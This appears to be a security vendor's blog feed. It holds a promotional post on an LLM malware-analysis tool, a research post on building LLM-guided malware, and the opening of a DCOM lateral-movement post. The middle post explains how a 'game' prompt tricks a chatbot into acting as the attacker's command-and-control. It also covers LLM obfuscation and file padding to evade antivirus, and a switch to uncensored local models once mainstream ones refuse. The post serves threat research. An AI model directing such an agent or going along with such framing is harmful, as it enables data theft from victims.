There are two main challenges cybersecurity teams are facing: bad actors are outpacing security response, largely based on the the industries use of ML-based tools that “detect and respond” instead of preventing threats. And the flood of low-fidelity false positives that flood the SOC without context.

Fueled by the rise of DarkAI, bad actors are overwhelming SOC teams with a constant stream of sophisticated, novel malware and ransomware that are circumventing legacy security tools while triggering a massive amount of false positives that require investigation. This hampers proactive threat hunting and exacerbates team burnout. Most importantly, the surge in “alert storms” increases the risk of missing critical alerts. SOC teams need a solution that provides the explainability necessary to perform quick risk assessments regarding the nature of the attacks to make informed decisions.

Malware analysis is an increasingly critical and complex field. The challenge when analyzing zero-day attacks lies in the limited information explaining why a file was blocked and classified as malicious. Threat analysts are spending considerable time assessing whether an attack was truly malicious or just a false positive.

Let’s explore some of the key challenges that make malware analysis so demanding.

  1. Is it even malware?: Modern malware has become incredibly sophisticated in its ability to disguise itself. It often mimics legitimate software and files, making it challenging for analysts to distinguish between benign and malicious code. Some malware can even disable security tools or evade scanners, further obfuscating detection.
  2. Preventing zero-day threats: The rise of zero-day threats, which have no known signatures, adds another layer of difficulty. Identifying unknown malware is crucial, as failure can lead to severe security breaches and potentially incapacitate organizations.
  3. Information overload: Today’s powerful malware analysis tools can be a double-edged sword. While they offer solid explainability, they can overwhelm analysts with data, forcing them to sift through a digital haystack to find crucial indicators of malicious activity, making it easy to overlook critical compromises.
  4. Connecting the dots: Malware often consists of multiple components interacting in complex ways. Not only do analysts need to identify the individual components, but they also need to understand how they interact. This process is like assembling a jigsaw puzzle to form a complete picture of the malware's capabilities and intentions, with constantly changing pieces and an unclear final picture.
  5. Keeping up with bad actors: The world of cybercrime is constantly evolving, with attackers relentlessly developing new techniques and exploiting new vulnerabilities, leaving organizations struggling to keep up. The time between the discovery of a vulnerability and its exploitation in the wild is narrowing, putting pressure on analysts to work faster and more efficiently. This rapid evolution requires malware analysts to constantly update their skill set and tools.
  6. Racing against the clock: In malware analysis, time is crucial. Malicious software can spread rapidly across networks, causing significant damage in minutes, often before the organization realizes an attack has occurred. Analysts face the pressure of conducting thorough examinations while also providing timely insights to prevent or mitigate attacks.
The Solution

There is a critical need for malware analysis tools that provide precise, real-time, in-depth analysis for both known and unknown threats, easing SecOps efforts. Deep Instinct recognized this need and developed the Deep Instinct Artificial Neural Network Assistant (DIANNA), the DSX Companion.

DIANNA is a groundbreaking malware analysis tool powered by generative AI (GenAI), utilizing Amazon Bedrock as its LLM infrastructure to tackle real-world issues. It offers on-demand features that provide flexible and scalable AI capabilities tailored to the unique needs of each client. By concentrating our GenAI models on specific artifacts, we can deliver focused, comprehensive responses to effectively address this market need.

DIANNA’s Unique Approach

Unlike traditional methods that rely solely on retroactive analysis of existing data, DIANNA harnesses GenAI to gain the collective knowledge of countless cybersecurity experts, sources, blogs, papers, threat intelligence reputation engines, and chats. This extensive knowledgebase is embedded within the LLM, allowing DIANNA to delve deep into unknown files and uncover intricate connections that would otherwise go undetected.

At the heart of this process are DIANNA’s advanced translation engines, which transform complex binary code into natural language that LLMs can understand and analyze. This unique approach bridges the gap between raw code and human-readable insights, enabling DIANNA to provide clear, contextual explanations of a file's intent, malicious aspects, and potential system impact while addressing information overload by distilling vast data into concise, actionable intelligence.

This translation capability is key to connecting the dots between different components of complex malware. It allows DIANNA to identify relationships and interactions between various parts of the code, and offer a holistic view of the threat landscape. By piecing together these components, DIANNA can construct a comprehensive picture of the malware's capabilities and intentions, even when faced with sophisticated threats. DIANNA doesn't stop at simple code analysis—it goes deeper. The ability to turn information into natural language provides insights for the teams who are investigating why files have been flagged as malicious, streamlining what is often a lengthy process. These insights allow SOC teams to prioritize threats and focus on those that matter most.

Enhancing DIANNA with Amazon Bedrock

DIANNA’s integration with Amazon Bedrock allows us to harness the power of state-of-the-art language models while maintaining the agility to adapt to evolving client requirements and security considerations. DIANNA benefits from Amazon Bedrock’s robust features, including seamless scaling, enterprise-grade security, and the ability to fine-tune models for specific use cases.

Accelerating Development with Amazon Bedrock: The fast-paced evolution of the threat landscape necessitates equally responsive cybersecurity solutions. DIANNA’s collaboration with Amazon Bedrock has played a crucial role in optimizing our development process and speeding up the delivery of innovative capabilities. By leveraging Bedrock’s extensive collection of pre-trained foundation models, we were able to swiftly create a proof-of-concept (POC) that demonstrated the potential of GenAI in malware analysis. This initial success bolstered our confidence in the technology and enabled us to concentrate on further enhancing DIANNA’s features.

A Platform for Innovation and Comparison: Amazon Bedrock has also served as a valuable platform for conducting LLM-related research and comparisons. The service's versatility has enabled us to experiment with different foundation models, exploring their strengths and weaknesses in various tasks, leading to significant advancements in DIANNA’s ability to understand and explain complex malware behaviors.

Alongside its core functionalities, Amazon Bedrock provides a range of ready-to-use features for customizing the solution. One such feature is model fine-tuning, which allows users to train foundation models on proprietary data to enhance their performance in specific domains. For example, organizations can fine-tune an LLM-based malware analysis tool to recognize industry-specific jargon or detect threats associated with particular vulnerabilities.

Another valuable feature is the utilization of Retrieval Augmented Generation (RAG) enabling access to, and incorporation of, relevant information from external sources, such as knowledge bases or threat intelligence feeds. This enhances the model’s ability to provide contextually accurate and informative responses, improving the overall effectiveness of malware analysis.

Seamless Integration, Scalability, and Customization: Integrating Amazon Bedrock into DIANNA’s architecture was a straightforward process. Bedrock’s user-friendly API and well-documented interfaces facilitated seamless integration with our existing infrastructure. Furthermore, the service’s on-demand nature allows us to scale our AI capabilities up or down based on customer demand. This flexibility ensures that DIANNA can handle fluctuating workloads without compromising performance.

Prioritizing Data Security and Compliance: Data security and compliance are paramount in the cybersecurity domain. Amazon Bedrock’s enterprise-grade security features provide us with the confidence to handle sensitive customer data. The service’s adherence to industry-leading security standards, coupled with AWS’s extensive experience in data protection, ensures that DIANNA meets the highest regulatory requirements such as GDPR. By leveraging Amazon Bedrock, we can offer our customers a solution that not only protects their assets, but also demonstrates our commitment to data privacy and security.

By combining Deep Instinct’s proprietary prevention algorithms with the advanced language processing capabilities of Amazon Bedrock, DIANNA offers a unique solution that not only identifies and analyzes threats with high accuracy but also communicates its findings in clear, actionable language. This synergy between Deep Instinct’s expertise in cybersecurity and Amazon’s leading AI infrastructure positions DIANNA at the forefront of AI-driven malware analysis and threat prevention.

The following diagram illustrates DIANNA’s architecture.

Figure 1_Evaluating DIANNA's Malware Analysis.png

Evaluating DIANNA’s Malware Analysis

A key component of DIANNA’s success is testing its malware analysis capabilities and evaluating the results to ensure they remain at peak levels. In this test, the input is a malware sample, and the output is a comprehensive, in-depth report on the behaviors and intents of the file. However, generating ground-truth (GT) data is particularly challenging. The behaviors and intents of malicious files are not readily available in standard datasets and require expert malware analysts for accurate reporting. Thus, we needed a custom evaluation approach.

We focused our evaluation on two core dimensions:

  • Technical features evaluation: This dimension focuses on objective, measurable capabilities. We used programmable metrics to assess how well DIANNA handled key technical aspects, such as extracting Indicators of Compromise (IOCs), detecting critical keywords, and processing the length and structure of threat reports. These metrics allowed us to quantitatively assess the model’s basic analysis capabilities.
  • In-depth semantic evaluation: Since DIANNA is expected to generate complex, human-readable reports on malware behavior, we relied on domain experts (malware analysts) to assess the quality of the analysis. The reports were evaluated on:
    • Depth of information: Whether DIANNA provided a detailed understanding of the malware’s behavior and techniques.
    • Accuracy: How well the analysis aligned with the malware’s true behaviors.
    • Clarity and structure: Whether the report was organized in a clear and comprehensible manner for security teams.

Since human evaluation is labor-intensive, fine-tuning the key components (the model itself, the prompts, and the translation engines) required iterative feedback loops. Small adjustments in any component led to significant variations in the output, requiring repeated validations by human experts. The fine-tuning incorporated the following tasks and elements:

  • Gathering a malware dataset: To cover the breadth of malware techniques, families, and threat types, we collected a large dataset of malware samples, each with technical metadata.
  • Splitting the dataset: The data was split into subsets for training, validation, and evaluation. Validation data was continually used to test how well DIANNA adapted after each key component update.
  • Human expert evaluation: Each time we fine-tuned DIANNA’s model, prompts, and translation mechanisms, human malware analysts reviewed a portion of the validation data. This ensured that any improvements or degradations in the quality of the reports were identified early. As DIANNA’s outputs are highly sensitive to even minor changes, each update required a full reevaluation by human experts to verify whether the response quality was improved or degraded.
  • Final evaluation on a broader dataset: After sufficient tuning based on the validation data, we applied DIANNA to a large evaluation set. Here, we gathered comprehensive statistics on its performance to confirm improvements in report quality, correctness, and overall technical coverage.
Automation of Evaluation

To make this process more scalable and efficient, we introduced an automatic evaluation phase. We trained a language model specifically designed to critique DIANNA’s outputs, automating to some degree the assessment of how well DIANNA was generating reports. This critique model acted as an internal “oracle,” allowing for continuous, rapid feedback on incremental changes during fine-tuning. This enabled us to make small adjustments across DIANNA’s three core components (model, prompts, and translation engines) while receiving real-time evaluations of the impact of those changes.

The automated critique model enhanced our ability to test and refine DIANNA without having to rely solely on the time-consuming manual feedback loop from human experts. It provided a consistent, reliable measure of performance and allowed us to quickly identify which model adjustments led to meaningful improvements in DIANNA’s analysis.

Advanced Integration and Proactive Analysis

DIANNA is integrated with DSX to explain the zero-day threats that are detected and prevented. DSX’s proactive approach has extremely high accuracy and a low false positive rate, which, alongside explainability from DIANNA, helps security teams quickly identify unknown threats and allocate resources more effectively.

Additionally, DIANNA’s output streamlines investigations, minimizes cross-tool efforts, and automates repetitive tasks, making the decision-making process clearer and faster. Ultimately, organizations are able to strengthen their security posture and significantly reduce the mean time to triage.

Key Features and Benefits of DIANNA:
  • Performs on-the-fly file scans, allowing for immediate assessment without any prior setup or delays.
  • Generates comprehensive malware analysis reports for a variety of file types in just seconds, ensuring that users receive timely information about potential threats.
  • Streamlines the entire file analysis process, making it more efficient and user-friendly, reducing the time and effort required for thorough evaluations.
  • Supports a wide range of common file formats, including Office documents, Windows Executable files, script files, and Windows Shortcut files (.lnk), ensuring compatibility with various types of data.
  • Offers in-depth contextual analysis, malicious file triage, and actionable insights, greatly enhancing the efficiency of investigations into potentially harmful files.
  • Empowers SOC teams to make well-informed decisions without relying on manual malware analysis by providing clear and concise insights into the behavior of malicious files.
  • Eliminates the need to upload files to external sandboxes or VirusTotal, enhancing security and privacy while facilitating quicker analysis.
Explainability and Insights for Better Decision-making for SOC Teams

DIANNA sets itself apart from traditional AI tools that use LLM engines by providing insights into why unknown attacks are deemed malicious. Explaining a zero-day attack typically involves a lengthy process that can take hours or even days, often resulting in an incomplete understanding. While this approach has its merits, it mainly offers retroactive analysis with limited context. In contrast, DIANNA goes further than simple code analysis; it understands the intent and potential actions behind the code and delivers clear explanations of its malicious nature and potential impacts on systems. This allows SOC teams to focus on alerts and threats that truly matter.

Example Scenario of DIANNA in Action

In this section, we explore some DIANNA use cases and examples.

For example DIANNA can perform standalone malware analysis on malicious files.

The following screenshot is an example of a Windows executable file analysis.

Figure 2_Standalone Malware Analysis on Windows Executable File.png

The following screenshot is an example of an Office file analysis.

Figure_3_Standalone_Malware_Analysis_on_Office_File_.png

You can also quickly triage incidents with enriched data on file analysis provided by DIANNA. The following screenshot is an example using Windows shortcut files (LNK) analysis.

Figure 4_Standalone Malware Analysis on Windows Shortcut File.png

The following screenshot is an example with a script file (JavaScript) analysis.

Figure 5_Standalone Malware Analysis on JavaScript File.png

The following figure presents a before and after comparison of the analysis process.

Figure 6_Before and After Comparison of Analysis Process.png

A key advantage of DIANNA is its ability to provide explainability by connecting the dots and summarizing the intentions of malicious files in a detailed narrative. This is especially valuable for zero-day and unknown threats, where investigations start from scratch, without any clues.

Potential Advancements in AI-driven Cybersecurity

AI capabilities are enhancing daily operations, but adversaries are also using AI to create sophisticated attacks and advanced persistent threats (APTs). This leaves organizations, and particularly their SOC and cybersecurity teams, combatting more complex threats.

While detection controls are useful, they often require significant resources and can be ineffective on their own. In contrast, using AI engines for prevention controls, like a high-efficacy deep learning (DL) engine, can lower the total cost of ownership (TCO) and help SOC analysts streamline their tasks.

Conclusion

DSX predicts and prevents known, unknown, and zero-day threats in <20 milliseconds—750 times faster than the fastest ransomware encryption. This makes it essential for any security stack, offering comprehensive protection in hybrid environments.

“Time is money” holds true in the world of cybersecurity. DIANNA enhances the incident response process for SOC teams, allowing them to efficiently tackle and investigate zero-day attacks with minimal time investment. This, in turn, reduces the resources and expenses that CISOs need to allocate, enabling them to invest in more valuable initiatives.

The rise of AI-based threats is becoming more pronounced. As a result, defenders must outpace increasingly sophisticated attackers by moving beyond traditional AI tools that leverage ML and embrace advanced AI, especially deep learning. The entire cybersecurity ecosystem must consider this shift to effectively combat the growing prevalence of AI-driven cyberattacks and the future of cyber threats.

To try DSX with DIANNA, visit Deep Instinct in the AWS Marketplace.

]]>
<![CDATA[Beyond Flesh and Code: Building an LLM-Based Attack Lifecycle With a Self-Guided Malware Agent]]> https://www.deepinstinct.com/blog/beyond-flesh-and-code-building-an-llm-based-attack-lifecycle-with-a-self-guided-agent Wed, 15 Jan 2025 14:00:00 +0000 https://www.deepinstinct.com/blog/beyond-flesh-and-code-building-an-llm-based-attack-lifecycle-with-a-self-guided-agent Large Language Models (LLMs) are rapidly evolving, and their capabilities are attracting the attention of threat actors. This blog explores how malicious actors are utilizing LLMs to enhance their cyber operations and then delves into LLM-based tools and an advanced stealer managed by artificial intelligence (AI).

While LLMs hold immense potential for improving cybersecurity through threat detection and analysis, their power can also be wielded for malicious purposes. Recent reports suggest that cybercriminals and nation-state actors are actively exploring LLMs for different tasks such as code generation, phishing emails, scripts, and more. We’ll elaborate on just a few examples in this blog.

The last times we saw such significant technological changes influencing everyday life were the four industrial revolutions (1765 – Oil, 1870 – Gas, 1969 – Electronics and Nuclear, and 2000 – Internet and Renewable Energy). Many believe that AI—and LLMs, which are part of AI—is the next industrial revolution, capable of reshaping industries, including crime, as new cyber threats emerge.

Cybersecurity is a very dynamic field, but there are still a few basic aspects that haven’t changed – one of which is the attack lifecycle. The cyber attack lifecycle, often referred to as the Cyber Kill Chain, includes the following stages: reconnaissance, weaponization, delivery, exploitation, installation, command and control (C2), and actions on objectives.

First, I’ll give a brief history of AI and then, using LLMs, I will provide a full attack lifecycle and demonstrate how threat actors could employ them, the risk they pose, and their potential future uses. LLM-based tools can play a significant role in various stages of the cyber attack lifecycle, including fully managing the final stage of the Payload and C2 – and that’s the most interesting part of this blog. The bottom line is that AI as a whole, and LLMs in particular, are very powerful and will get better with time. In the wrong hands, they will cause significant damage. The only way to fight the abuse of LLMs is with AI and advanced Deep Learning prevention alogorithms.

The Long Way to the Present Day LLM

Let's start with an introduction to AI and LLMs before they became mainstream. I started working with AI when I built my first Prolog app, which is a declarative programming language designed for developing logic-based AI applications.

Prolog is based on four main elements: Facts, Rules, Variables, and Queries. The original version is 52 years old and even the most current version is 24 years old. At the time of its creation there was not enough data for the facts, and the queries had to be pre-defined and barely customized during usage. Despite that, it was used for building chatbots like Zamia AI.

Figure 1: Zamia AI
Figure 1: Zamia AI

fig2-Zamia-AI-Chat.png
Figure 2: Zamia AI Chat

When we think about AI today, we envision complex systems and advanced chatbots like ChatGPT equipped with complicated infrastructure and powerful problem-solving skills. However, AI was not always so advanced. Early examples of AI often took the form of chatbots. They seem simple now, but they were groundbreaking innovations that ushered new concepts and tools into the world.

Let’s look at some of them:

Eliza (1966) - This first-ever chatbot was developed by MIT professor Joseph Weizenbaum in the 1960s. Eliza was programmed to act as a psychotherapist to users.

fig3-Eliza-chatbot.png
Figure 3: Eliza Chatbot 1966

Parry (1972) - A natural language program that simulated the thinking of a paranoid individual. Parry was constructed by American psychiatrist Kenneth Colby in 1972.

ChatterBot (1988) - British programmer Rollo Carpenter created the Chatterbot in 1988. It evolved into Cleverbot in 1997. 

Fun fact– ChatterBot was active until 2023. Cleverbot is still operating and accessible today.

fig4-CleverBot-Chatbot.png
Figure 4: CleverBot Chatbot

DR SBAITSO (1992) - This chatbot was created by Creative Labs for MS-DOS in 1992. It is one of the earliest chatbots to incorporate a full voice-operated chat program. You may try it out with an MS-DOS emulator.

fig5-DR-Sbaitso-Chatbot.png
Figure 5: DR SBAITSO Chatbot

 A.L.I.C.E. (1995) – A universal language processing chatbot that uses heuristic pattern matching to carry conversations. Richard Wallace pioneered the construction of ALICE in 1995.

fig6-ALICE-Chatbot.png
Figure 6: ALICE Chatbot

The evolution of AI and its applications is ongoing. Despite the popularity AI now has, researchers have been studying and experimenting with it for decades. Natural Language Processing, Machine Learning, and Deep Learning technologies have all existed for years. And, as shown by the timeline above, assistant-like chatbots were already popular –  by combining the idea of an AI assistant with actual AI technology, chatbots with voice recognition burst onto the scene. Later, refining and evolving what we created, we developed the almighty LLMs:

fig7-Chatbots-evolution.png
Figure 7: Chatbots and recent LLMs

Now that you have a better understanding of the timeline of AI, chatbots, and LLMs, let’s get into how the unique capabilities of LLMs can help facilitate a cyber attack.

Not all Chatbots are LLMs

LLM is an evolution of Natural Language Processing (NLP), but there are some key differences, as shown in the following graphic:

Screenshot_2025-01-14_at_2.32.10_PM.png
Figure 8: NLP vs LLM

There are multiple capabilities unique to LLMs that enable the attack flow POC I’m about to describe.

fig9-LLM-capabilities.png
Figure 9: LLM Capabilities for the Attack Flow POC

Building an LLM Attack Lifecycle

Understanding the Attack Lifecycle

In order to begin, we have to understand why the attack lifecycle is the perfect methodology to prove that LLMs can perform a full multistage attack on their own. The term “Attack lifecycle” represents the stages in a cyber attack flow, also known as the Attack Kill Chain. These stages, when executed correctly, can lead to a successful attack. Therefore, there are multiple security products that are expected to stop the attack in each stage and kill the chain, disrupting the attack.

fig10-Attack-lifeCycle.png
Figure 10: Attack Lifecycle

The Attack Lifecycle follows these steps:

  • Recon: Gathering information about the target (e.g., network topology, employees, vulnerabilities) to identify weaknesses or valuable entry points.

  • Weaponization: Creating a malicious payload (such as a virus, malware, or exploit) and preparing it to be delivered to the target system.

  • Delivery: Transmitting the weaponized payload to the target, typically through methods like email attachments, malicious links, or infected websites.

  • Exploitation: Triggering the payload to exploit a vulnerability in the target system (e.g., executing a malicious code or exploiting a software flaw).

  • Installation: Installing the malware or exploit onto the target system, often establishing persistence so the attacker can maintain access over time.

  • Command and Control (C2): Establishing a remote connection between the compromised system and the attacker’s infrastructure to control and issue commands to the infected system.

  • Actions on Objective: Carrying out the attacker’s primary goals, such as stealing data, spreading malware, disrupting operations, or further exploiting the network.

Initial Reconnaissance

LLMs can automate the process of gathering information from publicly available sources such as social media and technical forums about target systems and individuals.

After choosing the victim or the sector, one of the most important stages begins: Initial Reconnaissance. This phase is where information gathering and identification of potential entry points happens.

Even though this stage is already fairly simple due to powerful search engines like Google and scanning services like Shodan and Censys, LLMs have made it even easier and faster.

For our POC, we’ll start by identifying a possible pool of initial vectors and their victims – a chatbot can help with that.

fig11-vulnerabilities-chatGPT.png
Figure 11: ChatGPT Query and Vulnerability Explanation

Censys, a well-known worldwide internet scanning platform, helps information security practitioners discover, monitor, and analyze devices. When integrated with an LLM chat it makes the search even easier and provides an actual pool of potential victims.

fig12-Censys-search-GPT-results.png
Figure 12: Censys search results

Additionally, there are tools made specifically for OSINT that can automate the reconnaissance and scanning process. In fact, there are several LLMs built and trained specifically for that purpose, such as PentestGPT (originally known as HackerGPT).

undefined

Using older, high-quality automation tools together with LLMs can provide great results. For example, the Mantis Automated Discovery, Recon, and Scan tool can assist with gathering information about the potential victims in a fast and automated way.

fig14-Mantis-recon-tool.png
Figure 14: MANTIS Tool available in Github

Weaponization

LLMs can also assist in creating malicious payloads by generating or modifying code snippets based on existing malware.

While there are many chatbots that claim they are designed to build malware, most are scams. 

“Jailbreaked bots” are prompt-engineered requests that may enable illegitimate requests for regular, mainstream chatbots. These are built specifically for each LLM (including ChatGPT, Llama, and Gemini). However, they are usually identified and fixed quickly, which means they don’t work well for most of the major LLM providers. There are also chatbots based on open-source LLMs where the restrictions can be turned off and malicious code can be generated or evolved more freely.

fig15-Stopwatch-ai-chat.png
Figure 15: Stopwatch.ai chatbot

For example, when testing a few Python stealers, it seems that Stopwatch.ai does lower the detection rate drastically by changing class names and variables, which indicates that the detections were signature-based.

fig16-stopwatch-obfuscation.png
Figure 16: Stopwatch.ai obfuscation

Stopwatch.ai is less effective with more complicated and longer code, due to the length restrictions.

PentestGPT does a great job obfuscating source code. To test it, I took a known Medusa payload from VirusTotal. The latest version I found already had 30 detections, mostly due to blacklisting or simple signatures, so I decided to compile one myself and got 12 detections, which is a nice rate of evasion abilities.

Light_fig-11-Medusa-VT-rate.png
Figure 17: Medusa sample in VT

fig18-Medusa-agent-recompiled.png
Figure 18: Medusa agent latest version re-compiled detection in VT

Using LLMs to obfuscate the source code before compiling reduced the detections from 12 to 3!

fig19-Medusa-obfuscated-LLM.png
Figure 19: Obfuscated by LLM Medusa detection in VT

Delivery

LLMs can be used to create convincing spear-phishing emails, social media messages, or other forms of communication to deliver the payload, including visual and audio deepfakes. Additionally, they can quickly generate content for fake websites, documents, or ads that can be used to trick users into downloading malicious software by increasing the perception of legitimacy.

The well-known EvilGoPhish tool and its related Phishlets perform incredibly well, especially when paired with an LLM generating or rephrasing the phishlets. The emails and the “fake” pages look absolutely convincing – even to cybersecurity professionals trained to watch for these types of fakes.

fig20-evilginx3.png
Figure 20: Evilginx3 Phishlets

fig21-evilgophish.png
Figure 21: EvilGoPhish tool dashboard

The deepfakes themselves are also very convincing. Remember when a deepfaked conference cost a company more than $25M?

fig22-DeepFake-toolkit.png
Figure 22: Deepfake Offensive tool

Audio deepfakes and voice cloning are also dangerous and widely available. There are multiple, easily accessible tools to clone voices, such as standalone sites and repos within Github. Let’s assume for the sake of this POC that our target has been hooked.

fig23-voice-clonning.png
Figure 23: Deepfake Voice and Voice Cloning

The Next Four Steps: Exploitation, Installation, Command and Control, and Actions on Objective

LLM-Guided Malware

As demonstrated above, LLMs have already significantly eased the first three steps of the attack lifecycle. Building malware using LLMs is already an obvious and well-known use case, and has been demonstrated multiple times. But what if I could evolve the LLM to be the attacker and operate a backdoor?

Usually there is an attacker sitting behind a C2 server, but not anymore. We are going to build an LLM-based malware with backdoor and stealing functionality, using the LLM as the C2. The idea is to trick the LLM into behaving as a threat actor by providing the attack path remotely, a kind of interactive backdoor/stealer managed by LLM. That way the attack can be much faster and both portions can execute simultaneously.

In order to test the theory, let’s start with building a simple, unstructured prompt to trick the LLM into being the attacker by convincing it that this is just a game.

Figure 24: LLM-Guided Malware Initial Prompt

LLM In the Role of C&C

Visualizing the flow:

fig25-guided-stealer-visualization.pngfig26-guided-stealer-visualization.png
fig27-guided-stealer-visualization.png
Figures 25, 26, 27: Visualizing the idea in ChatGPT

Now we have to build a program to fill in as a proxy agent between the victim and the LLM instructions, in order to make it stealthier. It’s going to be a very tiny agent and I expect it to go undetected – but we will test it later on.

The POC for LLM-Guided Malware

The Recipe:

  • Initiate session with LLM

  • Send the initial prompt describing the task

  • Add persistence

  • Let the LLM guide the malware until all goals are achieved

    • Receive a command

    • Execute it

    • Send the result back to the LLM

Side Dishes for the POC:

  • Add logging

  • Implement communication with steganography

  • Keep the API key safe

Like most of us would do, the first thing I did was ask the LLM to build that flow for me, but it wasn’t very successful: the output was bogged down with multiple bugs and cases of wrong logic. 

fig28-ChatGPT-malware-agent.png
Figure 28: Attempt to build the malware agent with LLM

To compensate, I had to build the malware agent myself:

fig29-send-message-function.png
Figure 29: The function to initiate the communication with an LLM

I would like to make the agent work on both Windows and Linux, so the execution of the LLM-received instructions has to be different:

fig30-command-execution.png
Figure 30: Command execution functions per Operation system

I used a custom encryption-decryption mechanism to hide my API keys and prepare the shells for the execution of the commands by the operating system.

fig31-shell-creation.png
Figure 31: Shell creation

And the prompts, defined above as MESSAGE_LINUX and MESSAGE_WINDOWS, are both a bit different, defined as global variables:

fig32-prompts-per-os.png
Figure 32: Prompts per OS

I created a main loop to get instructions from the LLM -> Execute and return the response back to LLM:

fig33-main-loop-guided-malware.png
fig34-mainloop-guided-malware.png
Figures 33 and 34: Main loop of the LLM-guided malware agent

Once in a while, when the LLM was asking to perform a command and it failed, the LLM sent back an explanation and instructions to fix the issue. While I was expecting command instructions only, I had to add the prompt: “Reply with the next command to achieve the goal. Without comments.” It helped. The full prompt is below:

Screenshot_2025-01-14_at_2.28.59_PM.png
Figure 35: Full Prompt of the LLM-Guided Agent

As you may have noticed, the prompt is not built according to prompt engineering best practices, but it worked perfectly for me – you should try and improve on it.

Working!

fig36-working-poc-test.png
Figure 36: Testing the LLM-guided malware stealing capability

Attacks on Objective

The LLM-guided stealer used mostly legitimate commands to stay undetected. Additionally, it skipped the world_domination and backups files – an expected behavior since we mainly asked for financial data.

The add-ons for steganography were pretty simple to implement using the stegano library of python, although many LLMs were already able to get pictures. They didn’t always work as expected, but could be fixed using my own unrestricted LLM server, which is described in the next section.

fig37-stegano-communication.png

fig38-stegano-communication.png
Figures 37 and 38: Generation of steganography pictures hiding the communication 

Make it Undetected

As mentioned at the beginning of this blog, LLMs can help obfuscate source code to evade detection, and that’s exactly what I used the LLM for. Then I went one step further by compiling the code and asking the LLM to artificially inflate the file with easy-to-compress junk data without affecting the logics of the executable. As an output, I received a self-unarchiving zip approximately 1MB in size, with an internal file of 700MB – all undetected!

Figure 39: Compiled LLM-guided malware – undetected in VT

The artificial inflation, also known as the PE padding technique, is often used by malware developers of well-known stealer strains like Emotet, Qbot, and others to stay above the maximum limit of file size that most AVs are able to scan without a drop in performance, while still being compressed to a small file for easy delivery. These are usually inflated with null bytes that are easy to compress.

fig41-null-bytes-padding.png
Figure 40: Null Bytes Inflation

Unrestricted LLMs

So far everything is working, but most available LLMs would not try to send commands downloading additional tools or escalating privileges. So I switched the communication for unrestricted local LLMs (such as HackerGPT or customized uncensored LLMs).

There are several optional unrestricted LLMs. I used the easy-to-deploy Ollama, which already has a nice database of LLMs for any purpose, including unrestricted LLMs. Setting up Ollama is done in three simple steps, but it may require a high-end GPU to run flawlessly.

1. Download and install Ollama:

curl -fsSL https://ollama.com/install.sh | sh 

2. Choose and pull the model:

ollama pull llama3.1-uncensored

3. Run the model:

ollama run llama3.1-uncensored

fig41-ollama-LLms-DB.png
Figure 41: Ollama’s LLMs Database

I tested several LLMs, and most of them were great, but I chose one designed specifically for offensive cybersecurity, WhiteRabbitNeo.

Below is a look at the API and chat generation of Ollama:

fig42-ollama-api-functionality.png

fig43-ollama-api-functionality.png

fig44-ollama-api-functionality.png
Figures 42, 43, 44: Ollama API functionality

Finally, all I had to change in my POC were the following few lines:

fig45-fixed-send-message-function.png
Figure 45: Updated Function for Communication with Ollama

The LLM-Based Attack Lifecycle

Now we can deploy and play the game via our LLM-based attack lifecycle, the steps of which are mentioned above.

undefined

Figure 46: Full flow agent idea demonstration


We’re almost done! Next, I wanted to see what my LLM-guided malware can do with unrestricted LLMs. What would happen if I left the agent to run for a bit while I had some coffee?

It tried to download and execute several tools but failed to do so since I tested the malware on an empty and new Linux VM. The agent tried to fix the errors by installing the missing common libraries.

fig47-llm-guided-attempts-to-fix-missing-libraries.png
Figure 47: LLM-Guided Malware Attempts to Install Additional Libraries to Avoid Failures

Takeaways and Follow Ups

Today, LLMs are already capable of making attacks faster and much more frequent.

  • We could add the following to the POC to make it even more effective:

    • Rewrite into a more efficient and less common language – Rust / GO

    • Build a packer for better and longer evasion

    • Try with local Tiny LLMs to work without the need of an external LLM server 

    • Make the agent perform the request for the malware to be generated and compiled on request during the initial LLM communication using a polymorphic algorithm

    • Hunt for LLM-based malware – which can be tricky (keep an eye out for another blog on this topic)

    • Research and move the idea into BLM (Behavior Large Models – often developed for future robots) – DO NOT TRY AT HOME

Underestimated research – Recently, Claude announced that their latest version of Claude 3.5 “Sonnet” will be able to follow user’s commands to move a cursor, click on relevant locations, and input information via a virtual keyboard to emulate the way people interact with their own computer. This capability is exactly what I was missing to make my LLM-guided malware even more efficient. Just after that, OpenAI announced “Operator” with similar abilities. Finally, information was leaked that Google’s Jarvis AI can use a computer to take actions on a person's behalf.

Conclusion

My view of how LLMs will affect cyber attacks has evolved throughout my research; the cyber threats posed by LLMs are not a revolution, but an evolution. There’s nothing new there, LLMs are just making cyber threats better, faster, and more accurate on a larger scale. As demonstrated in this blog, LLMs can be successfully integrated into every phase of the attack lifecycle with the guidance of an experienced driver. These abilities are likely to grow in autonomy as the underlying technology advances. 

Defending against this evolution requires a corresponding evolution in the prevention methods. In order to break down the attack, defenders are only required to break down two of the stages (on average). It can be done. But defenders need the right tools to do it.

We'll update this blog soon with video from the DeepSec Conference where this research was presented.

If you are a cybersecurity professional who wants to fight AI with the best AI, then request your free scan to see the power of cybersecurity’s only deep learning framework for yourself.

References

https://github.com/MythicAgents/Medusastopwatch.io

https://github.com/GreyDGL/PentestGPTCensys.com

ChatGPT.com

Gemini.com

https://github.com/PhonePe/mantis

https://github.com/fin3ss3g0d/evilgophish

https://github.com/kingridda/voice-cloning-AI

https://github.com/nomic-ai/gpt4all

https://github.com/kgretzky/evilginx3

huggingface.com

Ollama.com

WhiteRabbitNeo.com

https://github.com/jasonacox/TinyLLM

https://github.com/katanaml/sparrow

]]>
<![CDATA[Forget PSEXEC: DCOM Upload & Execute Backdoor]]> https://www.deepinstinct.com/blog/forget-psexec-dcom-upload-execute-backdoor Mon, 25 Nov 2024 14:00:00 +0000 https://www.deepinstinct.com/blog/forget-psexec-dcom-upload-execute-backdoor Executive Summary

This blog post presents a powerful new DCOM lateral movement attack that allows the writing of custom DLLs to a target machine, loading them to a service, and executing their functionality with arbitrary parameters. This backdoor-like attack abuses the IMsiServer COM interface by reversing its internals. This process is described step-by-step in this blog. The research also includes a working POC tool to demonstrate the attack on the latest Windows builds. 

Terminology 

COM & DCOM

The Component Object Model (COM) is a Microsoft standard for creating binary software components that can interact. DCOM (Distributed COM) Remote Protocol extends the COM standard over a network using RPC by providing facilities for creating, activating, and managing objects found on a remote computer. 

Objects, Classes & Interfaces

In COM, an object is an instance of compiled code that provides some service to the rest of the system. A COM object's functionality depends on the interfaces its COM class implements. 

The compiled code is defined as a COM class, which is identified by a globally unique Class ID (CLSID) that associates a class with its deployment in the file system, either DLL or EXE. 

